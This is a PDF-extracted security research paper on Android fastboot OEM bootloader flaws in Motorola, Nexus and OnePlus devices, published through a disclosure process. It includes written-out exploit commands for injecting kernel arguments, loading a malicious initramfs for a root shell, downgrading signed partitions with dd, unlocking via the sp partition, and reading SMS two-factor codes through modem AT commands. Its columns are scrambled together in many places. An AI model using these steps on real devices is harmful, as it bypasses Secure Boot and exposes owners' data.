Fastboot Oem Vuln: Android Bootloader Vulnerabilities in Vendor Customizations
Fastboot Oem Vuln: Android Bootloader Vulnerabilities in Vendor Customizations
Roee Hay
Aleph Research, HCL Technologies
Abstract dition to the main SoC, devices also have ad-hoc ICs
(e.g. device sensors), each of which may contain its own
We discuss the fastboot interface of the Android boot- firmware, oftentimes updatable over-the-air.
loader, an area of fragmentation in Android devices. We Much room for fragmentation (and bugs), we decided
then present a variety of vulnerabilities we have found to focus our research on one area, the fastboot inter-
across multiple Android devices. Most notable ones in- face.
clude Secure Boot & Device Locking bypasses in the
Motorola and OnePlus 3/3T bootloaders. Another crit-
ical flaw in OnePlus 3/3T enables easy attacks by ma- 2 Secure Boot & ABOOT
licious chargers – the only prerequisite is a powered-
off device to be connected. An unexpected attack vec- Android devices implement Secure Boot through a
tor in Nexus 9 is also shown – malicious headphones. chain-of-trust, with a root certificate stored in hardware.
Other discovered weaknesses allow for data exfiltration The first bootloader (PBL) verifies the authenticity of the
(including a memory dumping of a Nexus 5X device), next one. The next bootloader verifies the one after and
enablement of hidden functionality such as access to the so forth, until executions reaches ABOOT. Code flows
device’s modem diagnostics and AT interfaces , and at- to ABOOT which verifies the authenticity of the boot
tacks against internal System-on-Chips (SoCs) found on or recovery partitions (possibly with another key-pair),
the Nexus 9 board. prepares the Linux kernel, Device Tree Blob (DTB) and
initramfs archive in memory, and transfers execution
to the Linux kernel. initramfs is a (gzipped) cpio
1 Introduction archive that gets populated into rootfs (a RAM file-
system mounted at the root path [2]) during the Linux
The code running in Android devices comes from multi- initialization. It contains init, the first user space
ple sources. Top-down, we have the user space which process. Among its duties, init triggers the partition
consists of the Android Open Source Project (AOSP), mounts. dm-verity then verifies the integrity of spec-
oftentimes customized by the OEM. Then, we have the ified partitions under fstab (e.g. the system parti-
Linux Kernel, which may also contain OEM customiza- tion). Since dm-verity uses a public-key stored un-
tions and drivers for controlling and interacting with var- der rootfs (/verity key), an untrusted initramfs
ious peripheral SoCs found on the device’s board. The means untrusted partitions that dm-verity verifies. See
next level is a chain of bootloaders which either originate Figure 1 which depicts the chain-of-trust in Qualcomm
from the OEM or the chipset manufacturer: At its low- MSM SoCs [3].
est level, we have in Boot ROM the Primary Bootloader Apart from the normal boot flow, ABOOT has another
(PBL), which is written by the chipset manufacturer, and mode of operation – the fastboot mode, that gives de-
then usually a series of bootloaders that end with the late- vice owners a way to interface with the bootloader, im-
stage Android (Applications) Bootloader (ABOOT). The plementing features such as bootloader unlocking, lock-
latter implements the fastboot interface (with a notable ing, flashing and other OEM extensions (which this re-
absence in Samsung-branded devices), and is fully cus- search focuses on). Due to the fact ABOOT takes such a
tomizable by the OEM. Not forgetting TrustZone, which critical part in the device’s boot, and runs before the OS
provides security mechanisms (such as secure storage, (so TrustZone, for example, may have a different state),
DRM, supporting Secure Boot and more [1]). In ad- discovered vulnerabilities may have a critical severity
PBL flow. Second, adversaries with ADB access can reboot
the device into the fastboot mode by issuing the adb
SBL
reboot bootloader command. ADB access requires
ABOOT that the victim has enabled USB debugging on his Devel-
opment Tools UI, and that an authorized the USB host is
boot.img connected. This can happen, for example, when develop-
ers use their own device for testing. PC malware await-
Linux Kernel
ing on their machine can then gain an ADB session and
initramfs reboot into fastboot [9]. Another threat is malicious USB
ports [10, 11] (e.g. malicious chargers at airports), target-
system.img ing devices with an enabled-ADB. (Once connected, the
victim has to authorize the charger.).
vendor.img
In addition to the bootloader flaws we have found
and describe in this paper, we also discovered a
Figure 1: Qualcomm MSM Chain-of-Trust (simplified) couple of critical “foot in the door” vulnerabilities
(now patched) in Nexus 9 and OnePlus 3/3T, that re-
lax the aforementioned requirements, allowing fast-
too. From unauthorized access to SoCs on the device
boot access by unauthorized malicious chargers (One-
to bypassing Secure Boot and bootloader locking. In this
Plus 3/3T, CVE-2017-5622) and headphones (Nexus 9,
paper we will see a few good examples.
CVE-2017-0510/0648).
FASTBOOT OEM
Figure 13: Test Blob Found in Physical Memory after $ fastboot continue
Boot $ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),[...] context=u:r:su:
... s0
shamu:/ # setenforce permissive
ABOOT shamu:/ # getenforce
Permissive
shamu:/ #
boot.img
system.img
Finding SCRATCH ADDR can easily be done by loading
the bootloader into IDA or any other disassembler (new
Figure 14: Broken Chain-of-Trust
Moto ABOOTs even contain symbols!) and analyzing
the target get scratch address function. See Ta-
7.1.6 Creating a Malicious initramfs ble 1 for SCRATCH ADDR values of various Motorola de-
vices.
The final step is to create our own malicious initramfs. In order to verify the SCRATCH ADDR of our Moto de-
For shamu, one can just compile an userdebug AOSP vices (G4 & G5), we had ripped benign initramfs
boot image and rip the initramfs.cpio.gz file out of archives from Motorola factory images, and tried to load
it, since it contains the su domain and a root-capable them by exploiting the vulnerability, using the discov-
adbd. The only caveat is dm-verity which will not be ered SCRATCH ADDRs. Instead of loading normally as we
able to verify the official system partition (because the expected, the devices ran into infinite boot loops. We
AOSP boot image will contain the debug verity key). then took an (unverified) wild guess. We’ve realized
Anyway, since we are now able to load a malicious that after we upload initramfs into SCRATCH ADDR,
initramfs, this annoyance can be bypassed easily by and before ABOOT jumps to the Linux kernel, the
editing the fstab file (removing the verification), or re- Motorola bootloader, in contrast with the shamu vari-
placing the debug verity key with the official one from ant, could theoretically put some other unrelated data
the relevant build. at SCRATCH ADDR, corrupting our initramfs (but not
fully).
7.1.7 Putting it All Together: got root! Overcoming this obstacle can be done by plac-
ing some padding data before initramfs, and
We now have everything we need: We have a malicious adjusting the initrd argument accordingly (to
initramfs archive. We can load it into memory at a SCRATCH ADDR+sizeof(PADDING)). This way, the
fixed physical address using the bootloader fastboot padding will be corrupted instead of our malicious
interface. We can instruct the Linux kernel to populate initramfs. True the hypothesis or not, using this
it from that address. In terms of Secure Boot, we now a technique with a 32MB padding (0x20000000), has
broken chain-of-trust (Figure 14). See Figure 15 which resolved our boot loops.
demonstrates a successful attack on shamu. The next step was to create a device-specific
initramfs archive. In the shamu case, in order to cre-
7.1.8 Porting initroot to our Moto devices ate an initramfs that gave us an unrestricted root shell
through adb, we had just built an AOSP userdebug im-
The exploit depicted above has a couple of shamu age. Since we don’t possess a build configuration for
specifics: (1) SCRATCH ADDR: The physical address Moto G4 & Moto G5, we decided to take the quickest
which ABOOT stores the fastboot downloaded data at path, and patch the initramfs archives found in the
may vary. (2) The initramfs archive. stock ROMs. By patching init, we’ve put SELinux into
Device codename SCRATCH ADDR Device name real name size
Nexus 6 shamu 0x11000000 shamu padA mmcblk0p11 4.1M
Moto G5 Plus potter 0xA0100000 athene padC mmcblk0p41 22M
Moto G5 cedric 0xA0100000 cedric padB mmcblk0p48 2.9M
Moto G4 Play harpia 0x90000000
Moto G4 athene 0x90000000 Table 2: Unused partitions in Moto devices
Moto G3 osprey 0x90000000
Moto G2 thea 0x11000000 the suggested payload for fsg-id will not work due to
Moto E condor 0x0E000000 size constraints and more (see next), and also implies a
physical attack only.
Table 1: SCRATCH ADDR of various Motorola devices
$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" Taking over an unused partition on the device. The
$ fastboot flash aleph initroot-cedric.cpio.gz first step is to create an empty ext4 partition (e.g. by
$ fastboot continue
$ adb shell using mkfs.ext4) with the same size of the target un-
cedric:/ # id used partition. Then, the attacker needs to populate it
uid=0(root) gid=0(root) groups=0(root), [...] context=u:r:
kernel:s0 context=u:r:kernel:s0 with the malicious initramfs of the first-stage exploit
cedric:/ # getenforce – this can be done by either on the host or on the de-
Permissive
cedric:/ # vice. On the device, after running the in-memory exploit,
the attacker can replace the unused partition with the just
created empty ext4 file (using dd), mount it, and popu-
Figure 16: Successful Exploitation of INITROOT on late it with cpio. Successful exploitation requires some
Moto G5 additional trickery (explained in the next section) such
as putting init under /sbin and restoring the SELinux
permissive mode. We’ve also patched adbd such that it contexts (with restorecon). The target partition will
remains as root, does not drop its capabilities (by replac- now have the malicious initramfs populated, ready for
ing the relevant calls with nops), and does not ask for the Linux kernel. It should be noted that this whole pro-
authorization (we’ve set the auth required global to cess can occur offline, and that attackers can reuse the
0). We’ve also disabled dm-verity on the relevant par- created partition on other devices (of the same model),
titions, and removed the locked-device USB policy under trivially by populating it with dd.
init.mmi.usb.sh. Figure 16 shows the result for Moto
G5 (cedric). Abusing the Linux initialization process to use our
tampered partition The next step is to instruct the
7.1.9 Second-stage Untethered Exploit Linux kernel to use our root partition instead of the
data provided in-memory by the bootloader. Leaving
The above depicted mechanics of INITROOT imply a
many details behind, Linux prepares userspace as fol-
tethered exploit (i.e. it does not survive reboots). In
lows (taking into account the Moto kernels’ config):
this section we show, however, that the attacker can run a
(1) It unpacks an internal initramfs to rootfs. (2)
second-stage exploit, which does something more pow-
It tries to populate a bootloader-supplied initramfs
erful. Making an untethered exploit implies that we must
from a physical address (initrd {start,end}), spec-
somehow persist our payload, or alter some stored data.
ified in the DTB. As we have seen, in ARM/64 that
In general, although we have block-device write access
can also be specified in the kernel command-line by
with the unrestricted root shell, due to Verified Boot
the initrd argument. (3) If it fails, it reverts to an
we cannot make the OS load with a tampered boot or
older initrd mechanism, copying from initrd start
system partitions. Despite that, we can populate our
into /initrd.image under rootfs. (4) It tries to ac-
initramfs in some unused partition. See Table 2 for
cess ramdisk execute command with a default value of
a list of unused partitions in different Motorola devices.
/init (which can be overridden by specifying rdinit
Furthermore, as was also suggested by Ethan Nelson-
in the kernel command line) on rootfs. If it succeeds,
Moorea after we had disclosed the first-stage exploit3 ,
it will complete initialization by executing it. This is
attackers can use the SD card partition (mmcblk1p1), if
the normal flow during regular boots. (5) It will try
the device has one (shamu doesn’t, for example). Obvi-
to load /initrd.image from rootfs into RAM un-
ously, using the SD card does not require the first-stage
less the noinitrd argument is specified. If it suc-
exploit, as one can prepare it offline. Despite that, using
ceeds, initialization is done. (6) If a root argument
3 http://disq.us/p/1jdtfym is specified, it will mount it, and eventually execute
exeute command, specified by the init argument. (7) $ fastboot getvar all | grep git
If no execute command is specified, it will revert to (bootloader) sbl1.git: git=MBM-NG-VB1.05-0-ge433b40
(bootloader) rpm.git: git=a970ead
/sbin/init, /etc/init, /bin/init & /bin/sh until (bootloader) tz.git: git=119e5b2-dirty
it succeeds, and panic otherwise. (bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
Therefore, in order to use our tampered partition as (bootloader) cmnlib.git: git=119e5b2-dirty
the root partition, we need to supply a couple of argu- (bootloader) aboot.git: git=MBM-NG-VB1.05-0-ge433b40
ments. First, a bogus initrd, or rdinit= parameters $ fastboot oem config fsg-id "a initrd=0x92000000,2505052"
in order to make the kernel fail while trying to use the $ fastboot flash aleph initroot.cpio.gz
$ fastboot continue
bootloader-supplied initramfs (2, 3 & 4). Second, we
need to instruct it to use our tampered partition, by speci- $ adb push old_* /data/local/tmp
$ adb shell
fying root=/dev/<partition> . There is a couple of athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/
more optional parameters: rw, which is required for the aboot
athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/tz
original init binary, if we do not restorecon a priori, athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/sbl1
in addition to init=/init, which is only required if athene:/ # reboot bootloader
we do not create the /sbin/init symbolic link in the $ fastboot getvar all | grep git
root partition. Hence, the minimum number of bytes (bootloader) sbl1.git: git=MBM-NG-VB0.0E-0-g83950b7
(bootloader) rpm.git: git=a970ead
which are needed to be injected into the cmdline is 29-30 (bootloader) tz.git: git=9fa1804
(depending on the partition). Luckily (although we can (bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
also overcome this limitation, see Paragraph 7.1.10), (bootloader) cmnlib.git: git=119e5b2-dirty
Motorola ABOOT limits the string length of the fsg-id (bootloader) aboot.git: git=MBM-NG-VB0.0E-0-g4986429
7.1.10 Further Exploitation placement succeeds, due to Secure Boot, the boot flow
Attackers can go beyond the aforementioned exploit and will end in the PBL’s Emergency Download Mode (EDL)
conduct additional powerful attacks. (verified on shamu) or fastboot, depending on which
partition has failed verification. Despite that, since older
images are perfectly signed, downgrade prevention must
Persistent Kernel Code Execution on Nexus 6 Dur-
be implemented. It seems however that Nexus 6 does
ing our disclosure process, Android Security also ob-
not increase the SW ID field [3] between bootloader ver-
served that on shamu, an unrestricted root (as we gain
sions (maybe due to lack of hardware support), thus the
with INITROOT), or one that runs under an SELinux do-
attacker can downgrade those signed partitions, allowing
main with block device access, can overwrite the boot-
for exploitation of now-patched vulnerabilities in critical
loader chain, boot, and system partitions. Due to in-
code. Moto devices are not immune too – verified on
complete Secure Boot implementation, at least on our
athene (that uses a different signing format), we were
re-locked Nexus 6 device, the boot partition is not veri-
able to downgrade SBL1, ABOOT and TrustZone (Fig-
fied, which implies a persistent kernel code execution –
ure 17 )
by using INITROOT, the attacker can completely replace
the boot partition with a tampered one (which makes the
second-stage exploit on Nexus 6 redundant), containing Unlocking a Re-locked Nexus 6 Device from Platform
a malicious kernel image and initramfs. Afterwards, OS Back in 2013, Dan Rosenberg found a vulnerabil-
the attacker can simply reboot into fastboot, and re- ity in the Motorola TrustZone kernel [8], allowing him
move the malicious UTAG. The attacker’s supplied ker- to unlock the Motorola bootloader. In his blog, Dan de-
nel code and initramfs will then be loaded on every picted how Motorola implements Device Locking (also
boot. relevant for shamu), which can be summarized as the
state machine on Figure 18. Its states are FL: Factory
Downgrades As mentioned above, by being able to Locked (the initial state), UL: Unlocked. RL: Re-locked.
write on block devices, one can overwrite the bootloader Its transitions are as follows: (1) The user first unlocks
chain (SBL1, ABOOT), TrustZone and other signed par- the device. The WARRANTYVOID fuse is blown. This tran-
titions (e.g. boot & recovery). Although such a re- sition is governed by TEE thus it cannot be done from the
$ fastboot getvar all if ( v5 == BOOTMODE_RECOVERY )
... ssm_en_write_protect = 0;
(bootloader) secure: yes if ( ssm_en_write_protect )
(bootloader) unlocked: no {
(bootloader) securestate: locked write_protect_partition((int)"system");
(bootloader) iswarrantyvoid: yes write_protect_partition((int)"oem");
(bootloader) mot_sst: 2 LABEL_13:
write_protect_utags();
$ fastboot oem config fsg-id "a initrd=0x11000000,1519997" write_protect_partition((int)"sp");
$ fastboot flash foo initroot.cpio.gz [...]
$ fastboot continue
$ adb shell
shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp
shamu:/ # reboot bootloader
7.1.1 r38/cryptfs.c
[38870] fastboot: oem panic >> preimage.py board_info
[38870] panic (frame 0xf9b1768): > fastboot oem sha1sum board_info 0 1 =
[38870] r0 0x0f9972c4 r1 0x4e225c22 7cf184f4c67ad58283ecb19349720b0cae756829 (1 byte )
r2 0x7541206f r3 0x74206874 00000000 : 48 H
[38870] r4 0x0f9972e8 r5 0x0f96715c > fastboot oem sha1sum board_info 1 1 =
r6 0x0f9972f0 r7 0x0f9670ec c2c53d66948214258a26ca9ca845d7ac0c17f8e7 (1 byte )
[38870] r8 0x0f92e070 r9 0x00000000 00000001 : 54 T
r10 0x00000000 r11 0x00000000 > fastboot oem sha1sum board_info 2 2 =
[38870] r12 0x0f92e070 usp 0x0f9650ec f1dfdb58024fd801bb8d8d91b16183f255579149 (2 bytes )
ulr 0x00000000 pc 0x0f99c75c 00000002 : 43 C
[38870] spsr 0x0f936964 00000003 : 2d -
[38870] fiq r13 0x0f989490 r14 0x00000000 > fastboot oem sha1sum board_info 3 3 =
[38870] irq r13 0x0f989490 r14 0x0f9004f4 16ad0e2f78e56b3d6dc93bd203e12b8118605de5 (3 bytes )
[38870] svc r13 0x0f9b16f0 r14 0x0f92dd0c 00000004 : 42 B
[38870] und r13 0x0f989490 r14 0x00000000 00000005 : 4f O
[38870] sys r13 0x00000000 r14 0x00000000 > fastboot oem sha1sum board_info 4 4 =
[38880] panic (caller 0xf936964): generate test-panic 7e426c6d5f7b5ce99624a8e678a79828180bcd77 (4 bytes )
00000006 : 41 A
00000007 : 52 R
>> preimage.py board_info 4 158
Figure 25: ABOOT forced-panic on Nexus 5X > fastboot oem sha1sum board_info 158 158 =
45b1b0a4fe2bbefb1f7eb001b57bcb61a1d025b9 (158 bytes )
0000009e : a2
2675d0d0: .......3 .y....w. 0000009f : 80
2675d0e0: ......n. ........ 000000a0 : 00
2675d0f0: .ph..... ....bugg 000000a1 : 00
2675d100: ybootloa d3r.bugg
OK
Figure 30: Intercepted UMTS RX by abusing the Nexus AT+CMGF=2
6 modem diagnostics OK
AT+CNMI=1,2,0,0,0
OK
+CMT : "+447[...]",,"16/12/26,16:56:18+08"
Please use the code - 185098 to verify your phone for [...]
two-factor authentication.
AT Desc N6 N6P
Figure 31: LTE Data sniffing through the Nexus 6 mo- Figure 33: Various AT commands with security impact
dem diagnostics